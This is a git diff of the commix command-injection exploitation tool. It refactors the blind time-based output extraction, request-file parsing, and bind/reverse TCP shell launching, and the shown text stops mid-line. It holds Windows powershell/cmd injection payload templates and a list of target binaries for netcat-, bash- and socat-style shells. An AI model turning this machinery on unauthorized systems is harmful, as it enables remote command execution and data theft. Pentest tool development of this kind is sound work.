-30,18 +27,14 @@ _THREADS_SUPPORTED = False from src.utils import menu from src.utils import settings -from src.core.requests import proxy -from src.core.requests import headers from src.core.requests import requests -from src.core.requests import parameters from src.core.requests import stability from src.utils import common from src.core.injections.controller import checks +from src.core.injections.controller import execution from src.utils import session_handler from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import html_parser as _html_parser -from src.thirdparty.colorama import Fore, Back, Style, init """ Abort the thread pool on SystemExit; KeyboardInterrupt is handled by the caller. @@ -55,30 +48,16 @@ def _abort_executor(executor, exc): """ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_payloads as payloads - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + payloads = execution.select_payloads_module(technique) if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if interpreter: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = checks.quoted_cmd(cmd) - else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter) if menu.options.file_write: minlen = 0 else: minlen = 1 - # Reuse the calibrated timesec instead of recalibrating it for every command. if settings.CALIBRATED_TIMESEC is not None: timesec = settings.CALIBRATED_TIMESEC @@ -86,7 +65,6 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa # Warn about network load once before the first command that needs it. checks.time_related_attaks_msg() - # Ask upfront instead of waiting for the first delayed response. if settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None: msg = "Do you want commix to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES @@ -106,12 +84,11 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa def _warm_up_baseline(): if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: - info_msg = "Time-related response comparison requires a larger statistical model" - info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + warn_msg = "Time-related response comparison requires a larger statistical model" + warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) def _probe(): - # A candidate no real output could reach, so this never sleeps - a safe, fast sample. safe_candidate = int(maxlen) * 2 + 100 if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: probe = payloads.get_length(separator, cmd, safe_candidate, timesec, http_request_method) @@ -123,7 +100,6 @@ def _probe(): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - # Sample with the same concurrency as extraction; a serial baseline underestimates response time. fan_out = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: try: @@ -137,7 +113,6 @@ def _probe(): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") - # Flags this run's output as suspect if the connection is (or was already found to be) lagging. def _check_lagging(): nonlocal length_suspect, lagging_detected if checks.check_lagging(): @@ -146,7 +121,6 @@ def _check_lagging(): # Guard timesec so concurrent payloads use the same value for sending and validation. timesec_lock = threading.Lock() - # Shrink the delay on a clearly-good read - no static floor, the stdev term self-protects jittery targets. delay_candidates = [0] * settings.TIME_DELAY_CANDIDATES def _adjust_time_delay(exec_time, lower_limit): nonlocal timesec @@ -209,8 +183,6 @@ def _measure_length(payload): output_length = None if _cached_length is not None: - # Length already confirmed by the interrupted run this is resuming - reuse it - # instead of redoing the whole bisection/validation dance. output_length = _cached_length found_chars = True if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not interpreter: @@ -226,7 +198,6 @@ def _measure_length(payload): info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - # Tempfile-based oracle now supports <=, so it bisects like time-based; only the experimental path remains exact-match-only. if not (technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and interpreter): # Binary search the output length, mirroring _bisect_once() below. def _length_delayed(candidate): @@ -265,7 +236,6 @@ def _bisect_length(): output_length = _bisect_length() if output_length is not None: - # Verify the bisection boundary independently; sustained bias can converge on the wrong boundary. def _boundary_holds(candidate): if not _length_delayed(candidate): return False @@ -273,14 +243,12 @@ def _boundary_holds(candidate): return False return True - # Independently verify with "-eq" instead of "-le" to catch systematic comparison bias; no-op for time-based. def _exact_length_confirmed(candidate): if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: return True payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-eq") return _measure_length(payload) - # Always require 2 consecutive confirmations, never trust one read alone. # Best-of-3 vote once jitter has been seen, for a stronger guarantee. def _validate_boundary(candidate): if settings.JITTER_SEEN: @@ -306,12 +274,10 @@ def _validate_boundary(candidate): max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) if revalidations >= max_revalidations: length_suspect = True - # Escalation failed; revert instead of carrying the raised delay into later positions. timesec = settings.CALIBRATED_TIMESEC = original_timesec break revalidations += 1 settings.print_data_to_stdout(settings.print_error_msg("Invalid length detected. Retrying..")) - # User declined delay optimization - retry at the same delay, never raise it. if settings.ADJUST_TIME_DELAY_CHOICE != False: timesec = settings.CALIBRATED_TIMESEC = timesec + settings.TIME_DELAY_STEP warn_msg = "Increasing time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + "." @@ -325,7 +291,6 @@ def _validate_boundary(candidate): if output_length is not None: found_chars = True if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - # The boundary check leaves raw output; convert it to decimal before extraction starts. _length_delayed(output_length) else: # Experimental interpreter path only - its oracle is still exact-match, not bisectable. @@ -372,7 +337,6 @@ def _validate_boundary(candidate): if output_length > 1 and _cached_length is None: settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - # Share confirmed ordinals across positions; use the observed charset when small enough, with full-range fallback. observed_chars = set() observed_count = [0] char_frequency = {} @@ -416,7 +380,6 @@ def _load_partial_progress(): body = _stored_partial[len(settings.PARTIAL_VALUE_MARKER):] try: stored_length, pairs = body.split(":", 1) - # Length mismatch - stored positions no longer line up, don't resume into it. if int(stored_length) != output_length: return for pair in pairs.split(","): @@ -454,8 +417,6 @@ def _bisect_once(num_of_chars, char_pool): def _char_delayed(candidate, operator="-le"): nonlocal conn_error_flag - # Snapshot once - another thread changing timesec mid-flight would judge - # this response against a value its payload was never sent with. with timesec_lock: local_timesec = timesec payload = payloads.get_char(separator, cmd, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) @@ -492,7 +453,6 @@ def _bisect_chars(force_full=False): checks.handle_exploitation_interrupt(filename, url) if not force_full: - # Probe frequent characters first; skewed distributions can resolve positions in a few requests. with observed_chars_lock: top_candidates = sorted(char_frequency, key=char_frequency.get, reverse=True)[:settings.FREQUENCY_PROBE_TOP_K] for candidate in top_candidates: @@ -528,7 +488,6 @@ def _bisect_chars(force_full=False): # The value may be outside this set; boundary validation catches and escalates misses. return narrowed[nlo], False - # Keep each character's bisection serial; threads only process different positions concurrently. while hi - lo > 1: try: mid = (lo + hi) // 2 @@ -578,15 +537,12 @@ def _validate_char_boundary(candidate): max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) if revalidations >= max_revalidations: conn_error_flag = True - # Escalation failed; revert instead of carrying the raised delay into later positions. with timesec_lock: timesec = settings.CALIBRATED_TIMESEC = original_timesec break revalidations += 1 settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) - # User declined delay optimization - retry at the same delay, never raise it. if settings.ADJUST_TIME_DELAY_CHOICE != False: - # Lock the update to avoid lost or double-counted increments from concurrent positions. with timesec_lock: timesec = settings.CALIBRATED_TIMESEC = timesec + settings.TIME_DELAY_STEP new_timesec = timesec @@ -617,7 +573,6 @@ def _extract_position(num_of_chars): def _delayed(candidate, operator, local_timesec): payload = payloads.get_char_alter_interpreter(separator, target, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - # Use the adaptive threshold instead of fixed values calibrated to a timesec that may have shrunk. return checks.time_related_shell(url_time_response, exec_time, local_timesec) def _bisect(local_timesec): @@ -630,7 +585,6 @@ def _bisect(local_timesec): hi = mid return lo if lo >= min(char_pool) else None - # Verify the bisection boundary independently; a noisy read can permanently steer it wrong. def _boundary_holds(candidate, local_timesec): if not _delayed(candidate, "-le", local_timesec): return False @@ -680,7 +634,7 @@ def _validate(candidate, local_timesec): _load_partial_progress() positions_to_extract = [pos for pos in positions if pos not in results_by_position] conn_error_positions = set() - # Asked once already in do_time_related_proccess(), before this ever runs. + # Asked once already in do_time_related_process(), before this ever runs. threaded = settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE != False if not threaded: remaining = positions_to_extract @@ -720,7 +674,6 @@ def _validate(candidate, local_timesec): conn_error_positions.add(pos) _print_progress() except SystemExit as exc: - # Already means "leave now" (e.g. checks.quit()) - no prompting. _save_progress() _abort_executor(executor, exc) except KeyboardInterrupt: @@ -738,7 +691,6 @@ def _validate(candidate, local_timesec): if ascii_char is not None and ascii_char != UNRESOLVED_POSITION: output.append(chr(ascii_char)) - # Severe instability converges on the pool's upper bound - >= 1, not >= 2, since a single occurrence already means wrong data. boundary_char = chr(max(settings.CHAR_POOL_MULTI)) if output.count(boundary_char) >= 1 or conn_error_positions or lagging_detected: if threaded: @@ -827,10 +779,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques """ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_payloads as payloads - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + payloads = execution.select_payloads_module(technique) # silent=True skips the detection-phase chatter for a resume re-verify. if not silent: @@ -882,19 +831,8 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese return exec_time, "" if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if interpreter: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = checks.quoted_cmd(cmd) - else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter) - # The verified value is always a single digit (see handler.py's randv1/randv2 ranges), so its output length is always 1. output_length = 1 if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") @@ -909,13 +847,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - # Requires the delay twice in a row before accepting - one stray slow response is cheap, two isn't. def _retry_confirm(payload): nonlocal exec_time, vuln_parameter, prefix, suffix consecutive_hits = 0 for attempt in range(settings.FALSE_POSITIVE_RETRIES): before = settings.TOTAL_OF_REQUESTS - # Discard the returned payload - prefixes() re-prepending onto it would compound on every retry. exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if stability.request_was_retried(before): continue @@ -994,18 +930,18 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): while prompt: message = "Do you want to use a random file '" + OUTPUT_TEXTFILE - message += "' to receive the command execution output? [Y/n] " + message += "' to receive the execution output? [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: break elif procced_option in settings.CHOICE_NO: - message = "Enter a filename to receive the command execution output " + message = "Enter a filename to receive the execution output " message = common.read_input(message, default=OUTPUT_TEXTFILE, check_batch=True) OUTPUT_TEXTFILE = message - info_msg = "Using '" + OUTPUT_TEXTFILE + "' for command execution output." + info_msg = "Using '" + OUTPUT_TEXTFILE + "' for execution output." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break @@ -1056,7 +992,6 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS or not settings.RECHECK_FILE_FOR_EXTRACTION: if menu.options.web_root: scheme = _urllib.parse.urlparse(url).scheme - hostname = _urllib.parse.urlparse(url).hostname netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): @@ -1064,14 +999,14 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.RECHECK_FILE_FOR_EXTRACTION = True while True: message = "Do you want to use the URL '" + output - message += "' to receive the command execution output? [Y/n] " + message += "' to receive the execution output? [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: message = "Enter URL to receive " - message += "the command execution output " + message += "the execution output " message = common.read_input(message, default=output, check_batch=True) if not re.search(r'^(?:http)s?://', message, re.I): common.invalid_option(message) @@ -1079,7 +1014,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): else: output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output - info_msg += "' for command execution output." + info_msg += "' for execution output." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.RECHECK_FILE_FOR_EXTRACTION = True if not settings.DEFINED_WEBROOT: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index b0672eec00..331e84128b 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -15,16 +15,22 @@ import os import re -import sys -import time +import json import base64 import binascii -import datetime from src.utils import menu from src.utils import settings +from src.thirdparty.odict import OrderedDict from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.flatten_json.flatten_json import unflatten_list + +""" +Extract a single header's value from a raw "Name: value" line, or None if it's a different header. +""" +def _extract_header_value(header_name, line): + match = re.findall(r"^" + header_name + ":" + " (.*)", line) + return "".join([str(i) for i in match]) if match else None """ Parse target and data from http proxy logs (i.e Burp or WebScarab) @@ -84,21 +90,29 @@ def invalid_data(request): if menu.options.requestfile or menu.options.logfile: c = 1 request_headers = [] + if menu.options.header: + request_headers.append(menu.options.header) + elif menu.options.headers: + request_headers.extend(menu.options.headers.split(settings.END_LINE.ESCAPED_LF)) request_lines = request.split(settings.END_LINE.LF) - # No ':' means body start, not a header (avoids dropping the body). while c < len(request_lines) and len(request_lines[c]) > 0 and ':' in request_lines[c]: x = request_lines[c].find(':') header_name = request_lines[c][:x].title() header_value = request_lines[c][x + 1:] - if menu.options.header: - request_headers.append(menu.options.header) - elif menu.options.headers: - request_headers.extend(menu.options.headers.split(settings.END_LINE.ESCAPED_LF)) request_headers.append(header_name + ":" + header_value) c += 1 if c < len(request_lines) and len(request_lines[c]) == 0: c += 1 menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") + + # Normalize a JSON body right away, so every request (including the first + # connectivity check) uses the same pretty-printed form, not the raw file layout. + if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): + try: + parsed = json.loads(menu.options.data, object_pairs_hook=OrderedDict) + menu.options.data = json.dumps(unflatten_list(parsed), indent=2, ensure_ascii=False) + except Exception: + pass settings.RAW_HTTP_HEADERS = settings.END_LINE.ESCAPED_LF.join(request_headers) except IOError as err_msg: @@ -136,18 +150,19 @@ def invalid_data(request): scheme = "http://" for line in request_headers: - if re.findall(r"^" + settings.HOST + ":" + " (.*)", line): - menu.options.host = "".join([str(i) for i in re.findall(r"" + settings.HOST + ":" + " (.*)", line)]) - # User-Agent Header - if re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line): - menu.options.agent = "".join([str(i) for i in re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line)]) - # Cookie Header - if re.findall(r"" + settings.COOKIE + ":" + " (.*)", line): - menu.options.cookie = "".join([str(i) for i in re.findall(r"" + settings.COOKIE + ":" + " (.*)", line)]) - # Referer Header - if re.findall(r"" + settings.REFERER + ":" + " (.*)", line): - menu.options.referer = "".join([str(i) for i in re.findall(r"" + settings.REFERER + ":" + " (.*)", line)]) - if menu.options.referer and "https://" in menu.options.referer: + host_value = _extract_header_value(settings.HOST, line) + if host_value is not None: + menu.options.host = host_value + agent_value = _extract_header_value(settings.USER_AGENT, line) + if agent_value is not None: + menu.options.agent = agent_value + cookie_value = _extract_header_value(settings.COOKIE, line) + if cookie_value is not None: + menu.options.cookie = cookie_value + referer_value = _extract_header_value(settings.REFERER, line) + if referer_value is not None: + menu.options.referer = referer_value + if "https://" in referer_value: scheme = "https://" if re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split() @@ -173,15 +188,10 @@ def invalid_data(request): # Add extra headers else: - match = re.findall(r"(.*): (.*)", line) - match = "".join([str(i) for i in match]).replace("', '",":") - match = match.replace("('", "") - match = match.replace("')",settings.END_LINE.ESCAPED_LF) - # Ignore some header. - if settings.CONTENT_LENGTH or settings.ACCEPT_ENCODING in match: - extra_headers = extra_headers - else: - extra_headers = extra_headers + match + match = re.match(r"(.*): (.*)", line) + # Ignore some headers. + if match and match.group(1) not in (settings.CONTENT_LENGTH, settings.ACCEPT_ENCODING): + extra_headers += match.group(1) + ":" + match.group(2) + settings.END_LINE.ESCAPED_LF # Extra headers menu.options.headers = extra_headers @@ -199,14 +209,5 @@ def invalid_data(request): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.url = request_url - if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: - sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) - if menu.options.cookie: - sub_content = "Cookie: " + menu.options.cookie - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) - if menu.options.data: - sub_content = "POST data: " + menu.options.data - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index de8d7d73f8..19aa2cdec4 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -13,119 +13,292 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys +import socket import time -from src.utils import logs -from src.utils import menu +import threading +from src.utils import common from src.utils import settings from src.core.shells import bind_tcp +from src.core.shells import modes from src.core.shells import reverse_tcp +from src.core.shells import session_relay from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init """ -Execute the bind / reverse TCP shell +Prompts [(b)ack/(q)uit], double-Ctrl-C-safe - shared by a launch/accept interrupt and the relay session's own. """ -def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): +def back_or_quit_prompt(msg, filename, url): + choice = "b" + try: + while True: + choice = (common.read_input(msg, default="b", check_batch=False) or "b").strip().lower() + if choice in ("b", "q"): + break + common.invalid_option(choice) + except KeyboardInterrupt: + # Erase it, or the next message overwrites the prompt and leaves its tail behind. + settings.clear_current_line() + choice = "q" + if choice == "q": + # Full teardown (logs notification, cleanups), not a bare SystemExit. + checks.quit(filename, url, hard_exit=True) + return None - if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - # Command execution results. - start = time.time() - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - end = time.time() - diff = end - start - # Evaluate injection results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - else: - # Command execution results. - start = time.time() - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) +""" +Runs execute_cmd(cmd) for a shell "run", offering (b)ack/(q)uit on Ctrl-C or a request timeout instead of crashing. +""" +def _execute_shell_launch(execute_cmd, cmd, filename, url): + try: + return execute_cmd(cmd) + except (KeyboardInterrupt, SystemExit) as exc: + settings.clear_current_line() + if isinstance(exc, KeyboardInterrupt): + msg = "Shell launch interrupted. [(b)ack/(q)uit] " else: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - whitespace = settings.WHITESPACES[0] - if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - end = time.time() - diff = end - start - # Evaluate injection results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - -""" -Configure the bind TCP shell -""" -def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): - settings.BIND_TCP = True - # Set up RHOST / LPORT for the bind TCP connection. - bind_tcp.configure_bind_tcp(separator) - if settings.BIND_TCP == False: - if settings.REVERSE_TCP == True: - os_shell_option = "reverse_tcp" - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) - return go_back, go_back_again + msg = "Timed out - likely means the shell connected and is still open. [(b)ack/(q)uit] " + return back_or_quit_prompt(msg, filename, url) - while True: - # LPORT is always a validated numeric string (see check_lport()), so it can - # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. - cmd = bind_tcp.bind_tcp_options(separator) - result = checks.check_bind_tcp_options(cmd) - if result != None: - if result == 0: - go_back_again = False - elif result == 1 or result == 2: - go_back_again = True - settings.BIND_TCP = False - elif result == 3: - settings.BIND_TCP = False - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) - return go_back, go_back_again +""" +Reports why a backgrounded payload send failed - its own output is suppressed, so this is the only place it surfaces. +""" +def _report_send_failure(send_result): + if send_result.get("error"): + err_msg = "Sending the payload failed: " + str(send_result["error"]) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + elif send_result.get("shell"): + info_msg = "The target returned output for the payload (usually the interpreter's own error):" + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.command_execution_output(send_result["shell"])) - # execute bind TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) +""" +Reports a bind shell that never came up, plus whatever the backgrounded send has to say about it. +""" +def _report_bind_failure(send_result): + err_msg = "Could not connect to " + settings.RHOST + ":" + settings.LPORT + " - the shell likely " + err_msg += "didn't start (missing binary/interpreter on the target, or the port is firewalled/unreachable)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + _report_send_failure(send_result) """ -Configure the reverse TCP shell +Tries to connect to a just-launched bind shell, the only reliable way to know whether it came up. +Pass keep_open=True to get the connected socket back instead of a bool (for the built-in handler). """ -def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): - settings.REVERSE_TCP = True - # Set up LHOST / LPORT for the reverse TCP connection. - reverse_tcp.configure_reverse_tcp(separator) - if settings.REVERSE_TCP == False: - if settings.BIND_TCP == True: - os_shell_option = "bind_tcp" - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) - return go_back, go_back_again +def _probe_bind_connection(rhost, lport, retries=3, delay=1.5, timeout=3, keep_open=False): + for attempt in range(retries): + if attempt > 0: + time.sleep(delay) + try: + sock = socket.create_connection((rhost, int(lport)), timeout=timeout) + if keep_open: + sock.settimeout(None) + return sock + sock.close() + return True + except Exception: + continue + return None if keep_open else False + +""" +Checks whether something is already listening on LHOST:LPORT here - only a successful bind() means "no listener". +Pass keep_listening=True to get the bound+listening socket back instead of a bool (for the built-in handler). +""" +def _local_listener_active(lhost, lport, keep_listening=False): + probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 if keep_listening else 0) + bind_host = lhost if lhost not in ("", "0.0.0.0") else "0.0.0.0" + try: + probe.bind((bind_host, int(lport))) + if keep_listening: + probe.listen(1) + return probe + probe.close() + return False + except Exception: + probe.close() + return None if keep_listening else True + +# Shell name -> the binary its payload needs on the target ("python" resolves its own interpreter). +_REQUIRED_BINARY = { + "netcat/traditional": "nc.traditional", + "netcat/busybox": "busybox", + "netcat/openbsd": "nc", + "php": "php", + "perl": "perl", + "ruby": "ruby", + "socat": "socat", + "ncat": "ncat", + "bash": "bash", +} + +""" +Checks the binary a payload needs is on the target - command substitution swallows "not found", so it would +otherwise fail silently. Returns False when the user would rather not send a payload that cannot work. +""" +def _binary_available(execute_cmd): + binary = _REQUIRED_BINARY.get(settings.LAST_SELECTED_MODULE) + if not binary: + return True + try: + found = execute_cmd("command -v " + binary) + except (Exception, SystemExit): + return True + if found and binary in str(found): + return True + err_msg = "Unable to find '" + binary + "' on the target." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + msg = "Do you want to send the payload anyway? [y/N] " + return common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES + +""" +If HANDLER isn't already on (and the module even supports it), offers to turn it on for this run. +""" +def _maybe_prompt_for_handler(): + if settings.HANDLER or settings.LAST_SELECTED_MODULE.startswith(("meterpreter/", "web_delivery/")): + return + msg = "Do you want to use the built-in handler to catch this shell (instead of an external listener)? [y/N] " + if common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES: + settings.HANDLER = True + +""" +The shared loop behind both TCP modes: run the mode's prompt, then hand its payload to the +mode's own launch step until the mode is left. +""" +def _tcp_config_generic(mode_name, mode_options, launch, other_config, execute_cmd, cmd, go_back, go_back_again, filename, url, separator): + flag, other_mode = modes.MODE_FLAGS[mode_name] + setattr(settings, flag, True) while True: - # LPORT is always a validated numeric string (see check_lport()), so it can - # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. - cmd = reverse_tcp.reverse_tcp_options(separator) - result = checks.check_reverse_tcp_options(cmd) + try: + cmd = mode_options(separator, filename, url) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + continue + result = checks.check_tcp_mode_result(cmd, other_mode) if result != None: if result == 0: go_back_again = False elif result == 1 or result == 2: go_back_again = True - settings.REVERSE_TCP = False + setattr(settings, flag, False) elif result == 3: - settings.REVERSE_TCP = False - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) + setattr(settings, flag, False) + other_config(execute_cmd, cmd, go_back, go_back_again, filename, url, separator) return go_back, go_back_again - # execute reverse TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) + if not _binary_available(execute_cmd): + continue + _maybe_prompt_for_handler() + launch(cmd) + + info_msg = "Returning to the mode: '" + mode_name + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Configure the bind TCP shell, dispatching command execution through the given executor callback. +""" +def 